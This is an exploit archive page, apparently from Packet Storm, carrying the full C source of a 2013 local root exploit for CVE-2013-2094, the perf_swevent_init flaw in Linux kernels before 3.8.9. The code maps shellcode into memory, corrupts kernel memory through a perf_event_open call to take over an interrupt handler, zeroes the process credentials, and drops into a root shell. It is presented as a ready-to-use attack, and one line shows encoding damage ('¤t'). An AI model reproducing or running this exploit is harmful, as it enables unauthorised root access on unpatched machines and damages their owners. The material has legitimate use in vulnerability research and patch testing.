exploit the possibilities

Linux perf_swevent_init Local Root

Linux perf_swevent_init Local Root
Posted Jun 11, 2013
Authored by Sorbo

perf_swevent_init local root exploit for the Linux kernel versions prior to 3.8.9 for x86_64. Based off of sd's exploit.

tags | exploit, kernel, local, root
systems | linux
advisories | CVE-2013-2094
MD5 | ea19349db46e7096d23a3d2d37aa2249

Linux perf_swevent_init Local Root

Change Mirror Download
/*
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
* by sorbo (sorbo@darkircop.org) June 2013
*
* Based on sd's exploit. Supports more targets.
*
*/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>

#define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000

#define TMP(x) (0xdeadbeef + (x))

struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed));

static int _fd;

static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc;

// printf("perf open %lx [%d]\n", off, (int) off);

memset(&attr, 0, sizeof(attr));

attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = 1;
attr.comm = 1;
attr.exclude_kernel = 1;

rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);

return rc;
}

void __sc_start(void);
void __sc_next(void);

void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
}

void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
uint64_t kbase = ((uint64_t)current) >> 36;
int uid = TMP(1);
int gid = TMP(2);

for (i = 0; i < 4000; i += 4) {
uint64_t *p = (void *) ¤t[i];
uint32_t *cred = (uint32_t*) p[0];

if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
continue;

for (j = 0; j < 20; j++) {
if (cred[j] == uid && cred[j + 1] == gid) {
for (i = 0; i < 8; i++) {
cred[j + i] = 0;
return;
}
}
}
}
}

static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p;

p = memmem(sc, 900, &needle, sizeof(needle));
if (!p)
errx(1, "can't find %x", needle);

memcpy(p, &val, sizeof(val));
}

static void *map_mem(uint64_t addr)
{
void *p;

p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);

if (p == MAP_FAILED)
err(1, "mmap()");

return p;
}

static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem;

for (i = 0; i < SIZE; i++) {
if (p[i] == c)
return i;
}

return -1;
}

static void dropshell()
{
if (setuid(0) != 0)
errx(1, "failed");

printf("Launching shell\n");

execl("/bin/sh", "sh", NULL);
exit(0);
}

void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
}

static void trigger(int intr)
{
switch (intr) {
case 0:
do {
int z = 1;
int a = 1;

z--;

a /= z;
} while (0);
break;

case 4:
asm("int $4");
break;

case 0x80:
asm("int $0x80");
break;

default:
errx(1, "unknown intr %d", intr);
}

sleep(3);
}

int main(int argc, char *argv[])
{
uint32_t *p[2];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = 4;
int intr = 4;

printf("Searchin...\n");

p[0] = map_mem(BASE);
p[1] = map_mem(BASE_JUMP);

memset(p[1], 0x69, SIZE);

off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd);

i = find_mem(p[0], 0xff);
if (i == -1) {
i = find_mem(p[1], 0x68);

if (i == -1)
errx(1, "Can't find overwrite");

sz = 24;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
}

munmap(p[0], SIZE);
munmap(p[1], SIZE);

addr += i;
addr -= off * sz;

printf("perf_swevent_enabled is at 0x%lx\n", addr);

asm("sidt %0" : "=m" (idt));

printf("IDT at 0x%lx\n", idt.addr);

off = addr - idt.addr;
off -= 8;

switch (off % sz) {
case 0:
intr = 0;
break;

case 8:
intr = 0x80;
break;

case 16:
intr = 4;
break;

default:
errx(1, "remainder %d", off % sz);
}

printf("Using interrupt %d\n", intr);

off -= 16 * intr;

assert((off % sz) == 0);

off /= sz;
off = -off;

// printf("Offset %lx\n", off);

kbase = (uint8_t*) (idt.addr & 0xFF000000);

printf("Shellcode at %p\n", kbase);

if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
err(1, "mmap()");

memset(kbase, 0x90, KSIZE);
kbase += KSIZE - 1024;

i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, 900);

sc_replace(kbase, TMP(1), getuid());
sc_replace(kbase, TMP(2), getgid());

signal(SIGALRM, morte);
alarm(2);

printf("Triggering sploit\n");
_fd = perf_open(off);

trigger(intr);

exit(0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close